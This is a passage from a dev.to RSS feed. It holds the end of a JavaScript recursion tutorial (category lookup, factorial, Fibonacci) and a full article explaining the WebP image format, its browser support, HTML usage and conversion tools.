        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nx"&gt;found_category&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cat&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;found_category&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;cat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;child_list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nx"&gt;found_category&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;find_cat_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;cat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;child_list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt; 

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;found_category&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;found_category&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;find_cat_by_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;the_category_list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// Output: {id: 5, name: "green apple", child_list: Array(0)}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  #5 (Factorial Using Recursion)
&lt;/h3&gt;

&lt;p&gt;This example will show you how to write a factorial program in javascript using recursion&lt;/p&gt;

&lt;p&gt;Let’s imagine we need a factorial of 5: &lt;code&gt;1 * 2 * 3 * 4 * 5 = 120&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Recursion Solution 🔁
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;factorial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;factorial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  #6 (Fibonacci Series Using Recursion)
&lt;/h3&gt;

&lt;p&gt;In this example, you will learn how to write a program to print the Fibonacci series using recursion&lt;/p&gt;

&lt;p&gt;Fibonacci sequence is written as: &lt;code&gt;0, 1, 1, 2, 3, 5, 8, 13, 21, ...&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Recursion Solution 🔁
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;fibonacci&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;num&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;num&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;num&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;fibonacci&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;num&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;fibonacci&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;num&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;fibonacci_printer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;numberOfTerms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;numberOfTerms&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fibonacci&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;, &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To use this program, you need to call &lt;code&gt;fibonacci_printer(5)&lt;/code&gt; and the output will be: &lt;code&gt;0, 1, 1, 2, 3&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Thanks for reading!&lt;/p&gt;

&lt;p&gt;More examples will be added later.&lt;/p&gt;

&lt;p&gt;Follow me on Twitter - &lt;a href="https://twitter.com/therceman"&gt;https://twitter.com/therceman&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>programming</category>
    </item>
    <item>
      <title>The Competitive Image Format for Web 👉 WebP</title>
      <dc:creator>Anton</dc:creator>
      <pubDate>Fri, 13 Aug 2021 18:33:27 +0000</pubDate>
      <link>https://dev.to/therceman/the-new-image-format-for-web-webp-jb7</link>
      <guid>https://dev.to/therceman/the-new-image-format-for-web-webp-jb7</guid>
      <description>&lt;p&gt;WebP is image compression technology that creates smaller file sizes without compromising on quality&lt;/p&gt;

&lt;p&gt;It can reduce the file size from 20% to 80% (or even more) compared to JPEG, PNG, and GIF&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1628703882564%2FHRQRBoqJ6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1628703882564%2FHRQRBoqJ6.png" alt="xwebp-vs-png-lossless-compression-1120x642.pagespeed_.ic__.ayj7ulmvj-1066x611_1.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  Key Features
&lt;/h3&gt;




&lt;p&gt;🔷 Developer by Google in 2010&lt;/p&gt;

&lt;p&gt;🔷 Open Source&lt;/p&gt;

&lt;p&gt;🔷 Extension -&amp;gt; .webp&lt;/p&gt;

&lt;p&gt;🔷 MIME type -&amp;gt; image/webp&lt;/p&gt;

&lt;p&gt;🔷 Lossless Compression&lt;/p&gt;

&lt;p&gt;🔷 Supports Animation&lt;/p&gt;

&lt;p&gt;🔷 Supports Alpha Transparency&lt;/p&gt;

&lt;p&gt;🔷 Used by Google, Bind, Facebook&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  Browser Support
&lt;/h3&gt;




&lt;p&gt;✅ Chrome &amp;gt;= v9 (2011 year)&lt;/p&gt;

&lt;p&gt;✅ Firefox &amp;gt;= v65 (2019 year)&lt;/p&gt;

&lt;p&gt;✅ Opera &amp;gt;= v11.5 (2011 year)&lt;/p&gt;

&lt;p&gt;✅ Edge &amp;gt;= v19 (2019 year)&lt;/p&gt;

&lt;p&gt;✅ Safari iOS &amp;gt;= v14.4 (2020 year)&lt;/p&gt;

&lt;p&gt;✅ Safari* &amp;gt;= v14 (2020 year) // Safari needs macOS 11 or later&lt;/p&gt;

&lt;p&gt;⛔ Internet Explorer* (no native support)  // IE needs fallback/polyfill&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1628704102124%2FlVEhBqnPKs.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1628704102124%2FlVEhBqnPKs.jpeg" alt="Screenshot_14.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  How To Use
&lt;/h3&gt;




&lt;p&gt;1) Using &lt;code&gt;&amp;lt;picture&amp;gt;&lt;/code&gt; + &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;picture&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;source&lt;/span&gt; &lt;span class="na"&gt;srcset=&lt;/span&gt;&lt;span class="s"&gt;"img/original.webp"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"image/webp"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;source&lt;/span&gt; &lt;span class="na"&gt;srcset=&lt;/span&gt;&lt;span class="s"&gt;"img/fallback.jpg"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"image/jpeg"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt; 
  &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"img/fallback.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Alt Text!"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/picture&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; This option is recommended, the browser will select its own supported format&lt;/p&gt;

&lt;p&gt;2) Using &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag only&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"img/fallback.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Alt Text!"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; Only choose this option if you don't care about old browsers (like Internet Explorer)&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  How To Create
&lt;/h3&gt;




&lt;p&gt;Google has created its own package for Linux, Windows and macOS with command-line tools that can be used to transform your existing images (PNG, GIF, JPG) to WEBP format&lt;/p&gt;

&lt;p&gt;Link: &lt;a href="https://developers.google.com/speed/webp/download" rel="noopener noreferrer"&gt;https://developers.google.com/speed/webp/download&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This package includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The libwebp library, which can be used to add WebP encoding or decoding to your programs.&lt;/li&gt;
&lt;li&gt;cwebp -- WebP encoder tool&lt;/li&gt;
&lt;li&gt;dwebp -- WebP decoder tool&lt;/li&gt;
&lt;li&gt;vwebp -- WebP file viewer&lt;/li&gt;
&lt;li&gt;webpmux -- WebP muxing tool&lt;/li&gt;
&lt;li&gt;gif2webp -- Tool for converting GIF images to WebP&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Usage&lt;/strong&gt; (Windows Example)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;cwebp.exe delivery_parcel.png -q 80 -o delivery_parcel.webp
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;delivery_parcel.png&lt;/code&gt; - source file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-q 80&lt;/code&gt; - quality param set to 80%&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-o delivery_parcel.webp&lt;/code&gt; - output file&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Online Converters&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://cloudconvert.com/webp-converter" rel="noopener noreferrer"&gt;https://cloudconvert.com/webp-converter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://convertio.co/png-webp/" rel="noopener noreferrer"&gt;https://convertio.co/png-webp/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  CMS &amp;amp; JS Frameworks Support
&lt;/h3&gt;




&lt;p&gt;&lt;strong&gt;CMS&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Drupal: &lt;a href="https://drupal.org/project/webp" rel="noopener noreferrer"&gt;https://drupal.org/project/webp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Joomla: &lt;a href="https://extensions.joomla.org/instant-search/?jed_live%5Bquery%5D=webp" rel="noopener noreferrer"&gt;https://extensions.joomla.org/instant-search/?jed_live%5Bquery%5D=webp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Magento: &lt;a href="https://marketplace.magento.com/catalogsearch/result/?q=webp" rel="noopener noreferrer"&gt;https://marketplace.magento.com/catalogsearch/result/?q=webp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;WordPress: &lt;a href="https://wordpress.org/plugins/search/convert+webp/" rel="noopener noreferrer"&gt;https://wordpress.org/plugins/search/convert+webp/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;JS Frameworks&lt;/strong&gt; (that has optimized image component)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;NextJS&lt;/li&gt;
&lt;li&gt;Gatsby&lt;/li&gt;
&lt;li&gt;Nuxt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  CDN Automatic Conversion
&lt;/h3&gt;




&lt;p&gt;Some CDNs support automatic next-gen conversion of your images, like Cloudflare (although it's not a free feature and comes with a PRO plan - $20/mo)&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Thanks for reading 👍&lt;/p&gt;

&lt;p&gt;Follow me on Twitter - &lt;a href="https://twitter.com/therceman" rel="noopener noreferrer"&gt;https://twitter.com/therceman&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>webdev</category>
      <category>design</category>
      <category>programming</category>
      <category>uiweekly</category>
    </item>
  </channel>
</rss>
